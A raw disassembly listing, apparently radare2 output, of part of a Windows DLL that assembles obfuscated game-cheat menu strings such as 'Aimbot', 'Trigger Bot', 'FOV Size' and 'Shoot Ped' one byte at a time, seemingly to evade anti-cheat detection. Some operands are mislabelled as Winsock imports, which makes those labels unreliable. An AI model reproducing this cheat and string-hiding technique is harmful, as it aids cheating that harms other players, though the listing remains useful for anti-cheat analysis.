mov word [rbp + 0xc48], ax
mov byte [rbp + 0xc4a], al
mov cl, 0x20
call fcn.180056ac0
mov byte [rsp + 0x50], al
mov cl, 0x44
call fcn.180056ac0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180056ac0
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.180056ac0
mov byte [rsp + 0x53], al
mov cl, 0x77
call fcn.180056ac0
mov byte [rsp + 0x54], al
mov cl, 0x20
call fcn.180056ac0
mov byte [rsp + 0x55], al
mov cl, 0x4f
call fcn.180056ac0
mov byte [rsp + 0x56], al
mov cl, WSAGetLastError
call fcn.180056ac0
mov byte [rsp + 0x57], al
mov cl, 0x6c
call fcn.180056ac0
mov byte [rsp + 0x58], al
mov cl, 0x79
call fcn.180056ac0
mov byte [rsp + 0x59], al
mov cl, 0x20
call fcn.180056ac0
mov byte [rsp + 0x5a], al
mov cl, 0x56
call fcn.180056ac0
movzx r13d, al
mov cl, 0x69
call fcn.180056ac0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056ac0
movzx r15d, al
mov cl, 0x69
call fcn.180056ac0
movzx r14d, al
mov cl, 0x62
call fcn.180056ac0
movzx esi, al
mov cl, 0x6c
call fcn.180056ac0
movzx edi, al
mov cl, 0x65
call fcn.180056ac0
movzx ebx, al
xor ecx, ecx
call fcn.180056ac0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xc38], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xc39], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xc3a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xc3b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xc3c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xc3d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xc3e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xc3f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xc40], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xc41], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xc42], cl
mov byte [rbp + 0xc43], r13b
mov byte [rbp + 0xc44], r12b
mov byte [rbp + 0xc45], r15b
mov byte [rbp + 0xc46], r14b
mov byte [rbp + 0xc47], sil
mov byte [rbp + 0xc48], dil
mov byte [rbp + 0xc49], bl
mov byte [rbp + 0xc4a], al
lea rcx, [rbp + 0x2098]
call fcn.180011f00
mov dword [rsp + 0x70], reloc.WS2_32.dll_recv
xor r8d, r8d
mov edi, reloc.WS2_32.dll_send
mov edx, edi
lea rcx, [rbp + 0x2098]
call fcn.180014330
xor esi, esi
nop dword [rax]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xc38]
call fcn.180014820
movzx ecx, byte [rax]
call fcn.180056ac0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2098]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d4c80
lea rcx, [rbp + 0x2098]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48ab]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2098]
call fcn.180011f20
movaps xmm0, xmm11
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x330], rax
mov word [rbp + 0x338], ax
mov byte [rbp + 0x33a], al
mov cl, 0x20
call fcn.180056a70
mov byte [rsp + 0x50], al
mov cl, 0x44
call fcn.180056a70
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180056a70
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.180056a70
movzx r13d, al
mov cl, 0x77
call fcn.180056a70
movzx r12d, al
mov cl, 0x20
call fcn.180056a70
movzx r15d, al
mov cl, 0x45
call fcn.180056a70
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056a70
movzx esi, al
mov cl, 0x69
call fcn.180056a70
movzx edi, al
mov cl, 0x63
call fcn.180056a70
movzx ebx, al
xor ecx, ecx
call fcn.180056a70
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x330], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x331], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x332], cl
mov byte [rbp + 0x333], r13b
mov byte [rbp + 0x334], r12b
mov byte [rbp + 0x335], r15b
mov byte [rbp + 0x336], r14b
mov byte [rbp + 0x337], sil
mov byte [rbp + 0x338], dil
mov byte [rbp + 0x339], bl
mov byte [rbp + 0x33a], al
lea rcx, [rbp + 0x20b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20
xor r8d, r8d
mov esi, listen
mov edx, esi
lea rcx, [rbp + 0x20b8]
call fcn.180014330
xor edi, edi
mov rdx, rdi
lea rcx, [rbp + 0x330]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056a70
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x20b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d4df0
lea rcx, [rbp + 0x20b8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4979]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x20b8]
call fcn.180011f20
call fcn.180075800
call fcn.180070430
jmp case.default.0x1800caf59
movss xmm8, dword [0x1801ce774]
movaps xmm0, xmm8
call fcn.180076c20
movaps xmm0, xmm8
call fcn.180076bd0
lea rcx, [rbp + 0x4440]
call fcn.180076f00
movss xmm6, dword [rax + 4]
movss xmm13, dword [0x1801ce760]
subss xmm6, xmm13
lea rcx, [rbp + 0x4448]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm13
movaps xmm2, xmm6
lea rcx, [rbp + 0x4450]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x760], rax
mov word [rbp + 0x768], ax
mov cl, 0x23
call fcn.180056b60
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180056b60
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180056b60
movzx r13d, al
mov cl, 0x69
call fcn.180056b60
movzx r12d, al
mov cl, 0x6d
call fcn.180056b60
movzx r15d, al
mov cl, 0x5f
call fcn.180056b60
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b60
movzx esi, al
mov cl, 0x61
call fcn.180056b60
movzx edi, al
mov cl, 0x62
call fcn.180056b60
movzx ebx, al
xor ecx, ecx
call fcn.180056b60
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x760], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x761], cl
mov byte [rbp + 0x762], r13b
mov byte [rbp + 0x763], r12b
mov byte [rbp + 0x764], r15b
mov byte [rbp + 0x765], r14b
mov byte [rbp + 0x766], sil
mov byte [rbp + 0x767], dil
mov byte [rbp + 0x768], bl
mov byte [rbp + 0x769], al
lea rcx, [rbp + 0x20d8]
call fcn.180011f00
mov r14d, 8
mov dword [rsp + 0x5c], r14d
xor r8d, r8d
mov edi, 0xa
mov edx, edi
lea rcx, [rbp + 0x20d8]
call fcn.180014330
xor r15d, r15d
mov esi, r15d
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x760]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.180056b60
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x20d8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d4fc0
lea rcx, [rbp + 0x20d8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x20d8]
call fcn.180011f20
xor eax, eax
mov dword [rbp + 0x1134], eax
mov cl, 0x41
call fcn.180014ae0
mov byte [rsp + 0x70], al
mov cl, 0x69
call fcn.180014ae0
mov byte [rsp + 0x71], al
mov cl, 0x6d
call fcn.180014ae0
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.180014ae0
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1134], eax
lea rcx, [rbp + 0x20f8]
call fcn.180011f00
mov dword [rsp + 0x5c], reloc.WS2_32.dll_recv
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x20f8]
call fcn.180014330
mov rdi, r15
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1134]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.180014ae0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x20f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d5090
lea rcx, [rbp + 0x20f8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x20f8]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movss xmm0, dword [0x1801ce7d4]
call fcn.180076c20
movss xmm10, dword [0x1801ce7a8]
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1248], rax
mov cl, 0x20
call fcn.180056880
mov byte [rsp + 0x68], al
mov cl, 0x41
call fcn.180056880
mov byte [rsp + 0x69], al
mov cl, 0x69
call fcn.180056880
mov byte [rsp + 0x6a], al
mov cl, 0x6d
call fcn.180056880
mov byte [rsp + 0x6b], al
mov cl, 0x62
call fcn.180056880
mov byte [rsp + 0x6c], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056880
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056880
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180056880
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1248], rax
lea rcx, [rbp + 0x2118]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20
xor r8d, r8d
mov rdx, r14
lea rcx, [rbp + 0x2118]
call fcn.180014330
mov rdi, r15
mov rsi, r14
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1248]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180056880
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2118]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d51b0
lea rcx, [rbp + 0x2118]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3343]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2118]
call fcn.180011f20
movss xmm12, dword [0x1801ce7c0]
movss xmm14, dword [0x1801ce720]
movss xmm7, dword [0x1801ce7e4]
movss xmm6, dword [0x1801ce870]
cmp byte [0x1805e3343], sil
je 0x1800d5808
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov dword [rbp], eax
mov byte [rbp + 4], al
mov cl, 0x20
call fcn.1800149a0
movzx r14d, al
mov cl, 0x46
call fcn.1800149a0
movzx esi, al
mov cl, 0x4f
call fcn.1800149a0
movzx edi, al
mov cl, 0x56
call fcn.1800149a0
movzx ebx, al
xor ecx, ecx
call fcn.1800149a0
mov byte [rbp], r14b
mov byte [rbp + 1], sil
mov byte [rbp + 2], dil
mov byte [rbp + 3], bl
mov byte [rbp + 4], al
lea rcx, [rbp + 0x2138]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000
xor r8d, r8d
mov ebx, 5
mov edx, ebx
lea rcx, [rbp + 0x2138]
call fcn.180014330
mov edi, ebx
mov rdx, r15
lea rcx, [rbp]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.1800149a0
movzx ebx, al
mov rdx, r15
lea rcx, [rbp + 0x2138]
call fcn.180014c80
mov byte [rax], bl
inc r15
sub rdi, 1
jne 0x1800d52c4
lea rcx, [rbp + 0x2138]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3346]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2138]
call fcn.180011f20
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x9d0], rax
mov dword [rbp + 0x9d8], eax
mov cl, 0x20
call fcn.1800147f0
mov byte [rsp + 0x50], al
mov cl, 0x46
call fcn.1800147f0
mov byte [rsp + 0x51], al
mov cl, 0x4f
call fcn.1800147f0
mov byte [rsp + 0x52], al
mov cl, 0x56
call fcn.1800147f0
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.1800147f0
movzx r13d, al
mov cl, 0x46
call fcn.1800147f0
movzx r12d, al
mov cl, 0x69
call fcn.1800147f0
movzx r15d, al
mov cl, 0x6c
call fcn.1800147f0
movzx r14d, al
mov cl, 0x6c
call fcn.1800147f0
movzx esi, al
mov cl, 0x65
call fcn.1800147f0
movzx edi, al
mov cl, 0x64
call fcn.1800147f0
movzx ebx, al
xor ecx, ecx
call fcn.1800147f0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x9d0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x9d1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x9d2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x9d3], cl
mov byte [rbp + 0x9d4], r13b
mov byte [rbp + 0x9d5], r12b
mov byte [rbp + 0x9d6], r15b
mov byte [rbp + 0x9d7], r14b
mov byte [rbp + 0x9d8], sil
mov byte [rbp + 0x9d9], dil
mov byte [rbp + 0x9da], bl
mov byte [rbp + 0x9db], al
lea rcx, [rbp + 0x2158]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2158]
call fcn.180014330
xor esi, esi
mov edi, esi
mov r14d, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x9d0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800147f0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2158]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub r14, 1
jne 0x1800d5450
lea rcx, [rbp + 0x2158]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3334]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2158]
call fcn.180011f20
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x1240], rax
mov cl, 0x20
call fcn.180014710
mov byte [rsp + 0x68], al
mov cl, 0x53
call fcn.180014710
mov byte [rsp + 0x69], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014710
mov byte [rsp + 0x6a], al
mov cl, 0x69
call fcn.180014710
mov byte [rsp + 0x6b], al
mov cl, 0x63
call fcn.180014710
mov byte [rsp + 0x6c], al
mov cl, 0x6b
call fcn.180014710
mov byte [rsp + 0x6d], al
mov cl, 0x79
call fcn.180014710
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180014710
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x1240], rax
lea rcx, [rbp + 0x2178]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000
xor r8d, r8d
mov ebx, 8
mov edx, ebx
lea rcx, [rbp + 0x2178]
call fcn.180014330
mov rdi, rsi
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1240]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180014710
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2178]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub r14, 1
jne 0x1800d5560
lea rcx, [rbp + 0x2178]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1801f67a0]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2178]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
lea rcx, [rbp + 0x4458]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp - 0x60], ax
mov byte [rbp - 0x5e], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014780
movzx edi, al
mov cl, 0x78
call fcn.180014780
movzx ebx, al
xor ecx, ecx
call fcn.180014780
mov byte [rbp - 0x60], dil
mov byte [rbp - 0x5f], bl
mov byte [rbp - 0x5e], al
lea rcx, [rbp + 0x21b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000000
xor r8d, r8d
mov ebx, 3
mov edx, ebx
lea rcx, [rbp + 0x21b8]
call fcn.180014330
mov edi, ebx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.18001e4e0
movzx ecx, byte [rax]
call fcn.180014780
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x21b8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d5660
lea rcx, [rbp + 0x21b8]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x3f0], rax
mov byte [rbp + 0x3f8], al
mov cl, 0x46
call fcn.1800146c0
mov byte [rsp + 0x50], al
mov cl, 0x4f
call fcn.1800146c0
movzx r13d, al
mov cl, 0x56
call fcn.1800146c0
movzx r12d, al
mov cl, 0x20
call fcn.1800146c0
movzx r15d, al
mov cl, 0x53
call fcn.1800146c0
movzx r14d, al
mov cl, 0x69
call fcn.1800146c0
movzx esi, al
mov cl, 0x7a
call fcn.1800146c0
movzx edi, al
mov cl, 0x65
call fcn.1800146c0
movzx ebx, al
xor ecx, ecx
call fcn.1800146c0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x3f0], cl
mov byte [rbp + 0x3f1], r13b
mov byte [rbp + 0x3f2], r12b
mov byte [rbp + 0x3f3], r15b
mov byte [rbp + 0x3f4], r14b
mov byte [rbp + 0x3f5], sil
mov byte [rbp + 0x3f6], dil
mov byte [rbp + 0x3f7], bl
mov byte [rbp + 0x3f8], al
lea rcx, [rbp + 0x2198]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1800000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x2198]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x3f0]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.1800146c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2198]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d5780
lea rcx, [rbp + 0x2198]
call fcn.1800143e0
mov byte [rsp + 0x28], sil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movaps xmm3, xmm6
movaps xmm2, xmm14
lea rdx, [0x1801f6798]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2198]
call fcn.180011f20
nop
lea rcx, [rbp + 0x21b8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x9e0], rax
mov dword [rbp + 0x9e8], eax
mov cl, 0x20
call fcn.1800146b0
mov byte [rsp + 0x50], al
mov cl, 0x54
call fcn.1800146b0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800146b0
mov byte [rsp + 0x52], al
mov cl, 0x69
call fcn.1800146b0
mov byte [rsp + 0x53], al
mov cl, 0x67
call fcn.1800146b0
movzx r13d, al
mov cl, 0x67
call fcn.1800146b0
movzx r12d, al
mov cl, 0x65
call fcn.1800146b0
movzx r15d, al
mov cl, WSAStartup
call fcn.1800146b0
movzx r14d, al
mov cl, 0x42
call fcn.1800146b0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146b0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146b0
movzx ebx, al
xor ecx, ecx
call fcn.1800146b0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x9e0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x9e1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x9e2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x9e3], cl
mov byte [rbp + 0x9e4], r13b
mov byte [rbp + 0x9e5], r12b
mov byte [rbp + 0x9e6], r15b
mov byte [rbp + 0x9e7], r14b
mov byte [rbp + 0x9e8], sil
mov byte [rbp + 0x9e9], dil
mov byte [rbp + 0x9ea], bl
mov byte [rbp + 0x9eb], al
lea rcx, [rbp + 0x21d8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x100
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x21d8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x9e0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800146b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x21d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d5940
lea rcx, [rbp + 0x21d8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3333]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x21d8]
call fcn.180011f20
movss xmm11, dword [0x1801ce898]
cmp byte [0x1805e3333], sil
je 0x1800d5ed5
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x9f0], rax
mov dword [rbp + 0x9f8], eax
mov cl, 0x20
call fcn.180056b30
mov byte [rsp + 0x50], al
mov cl, 0x53
call fcn.180056b30
mov byte [rsp + 0x51], al
mov cl, 0x68
call fcn.180056b30
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b30
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b30
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056b30
movzx r12d, al
mov cl, 0x20
call fcn.180056b30
movzx r15d, al
mov cl, 0x50
call fcn.180056b30
movzx r14d, al
mov cl, 0x65
call fcn.180056b30
movzx esi, al
mov cl, 0x64
call fcn.180056b30
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056b30
movzx ebx, al
xor ecx, ecx
call fcn.180056b30
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x9f0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x9f1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x9f2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x9f3], cl
mov byte [rbp + 0x9f4], r13b
mov byte [rbp + 0x9f5], r12b
mov byte [rbp + 0x9f6], r15b
mov byte [rbp + 0x9f7], r14b
mov byte [rbp + 0x9f8], sil
mov byte [rbp + 0x9f9], dil
mov byte [rbp + 0x9fa], bl
mov byte [rbp + 0x9fb], al
lea rcx, [rbp + 0x21f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x21f8]
call fcn.180014330
xor edi, edi
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0x9f0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180056b30
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x21f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d5ae1
lea rcx, [rbp + 0x21f8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3340]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x21f8]
call fcn.180011f20
movaps xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0xa10], rax
mov dword [rbp + 0xa18], eax
mov cl, 0x20
call fcn.180014750
mov byte [rsp + 0x50], al
mov cl, 0x53
call fcn.180014750
mov byte [rsp + 0x51], al
mov cl, 0x68
call fcn.180014750
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014750
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014750
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014750
movzx r12d, al
mov cl, 0x20
call fcn.180014750
movzx r15d, al
mov cl, 0x44
call fcn.180014750
movzx r14d, al
mov cl, 0x65
call fcn.180014750
movzx esi, al
mov cl, 0x61
call fcn.180014750
movzx edi, al
mov cl, 0x64
call fcn.180014750
movzx ebx, al
xor ecx, ecx
call fcn.180014750
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xa10], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xa11], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xa12], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xa13], cl
mov byte [rbp + 0xa14], r13b
mov byte [rbp + 0xa15], r12b
mov byte [rbp + 0xa16], r15b
mov byte [rbp + 0xa17], r14b
mov byte [rbp + 0xa18], sil
mov byte [rbp + 0xa19], dil
mov byte [rbp + 0xa1a], bl
mov byte [rbp + 0xa1b], al
lea rcx, [rbp + 0x2218]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2218]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xa10]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180014750
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2218]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d5c70
lea rcx, [rbp + 0x2218]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e333d]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2218]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
lea rcx, [rbp + 0x4460]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp - 0x5c], ax
mov byte [rbp - 0x5a], al
mov cl, 0x6d
call fcn.1800ed800
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed800
movzx ebx, al
xor ecx, ecx
call fcn.1800ed800
mov byte [rbp - 0x5c], dil
mov byte [rbp - 0x5b], bl
mov byte [rbp - 0x5a], al
lea rcx, [rbp + 0x2258]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000
xor r8d, r8d
mov ebx, 3
mov edx, ebx
lea rcx, [rbp + 0x2258]
call fcn.180014330
mov rdi, r12
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp - 0x5c]
call fcn.18001e4e0
movzx ecx, byte [rax]
call fcn.1800ed800
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2258]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d5d70
lea rcx, [rbp + 0x2258]
call fcn.1800143e0
mov r13, rax
xor eax, eax
mov dword [rbp + 0x130], eax
mov word [rbp + 0x134], ax
mov cl, 0x44
call fcn.1800146c0
movzx r15d, al
mov cl, 0x65
call fcn.1800146c0
movzx r14d, al
mov cl, 0x6c
call fcn.1800146c0
movzx esi, al
mov cl, 0x61
call fcn.1800146c0
movzx edi, al
mov cl, 0x79
call fcn.1800146c0
movzx ebx, al
xor ecx, ecx
call fcn.1800146c0
mov byte [rbp + 0x130], r15b
mov byte [rbp + 0x131], r14b
mov byte [rbp + 0x132], sil
mov byte [rbp + 0x133], dil
mov byte [rbp + 0x134], bl
mov byte [rbp + 0x135], al
lea rcx, [rbp + 0x2238]
call fcn.180011f00
mov dword [rsp + 0x70], 0xc0000
xor r8d, r8d
mov edi, 6
mov edx, edi
lea rcx, [rbp + 0x2238]
call fcn.180014330
nop dword [rax]
mov rdx, r12
lea rcx, [rbp + 0x130]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.1800146c0
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x2238]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub rdi, 1
jne 0x1800d5e50
lea rcx, [rbp + 0x2238]
call fcn.1800143e0
mov byte [rsp + 0x28], dil
mov qword [rsp + 0x20], r13
movaps xmm3, xmm11
movaps xmm2, xmm15
lea rdx, [0x1805e3338]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2238]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2258]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0xa20], rax
mov dword [rbp + 0xa28], eax
mov cl, 0x20
call fcn.180014ae0
mov byte [rsp + 0x50], al
mov cl, 0x53
call fcn.180014ae0
mov byte [rsp + 0x51], al
mov cl, 0x69
call fcn.180014ae0
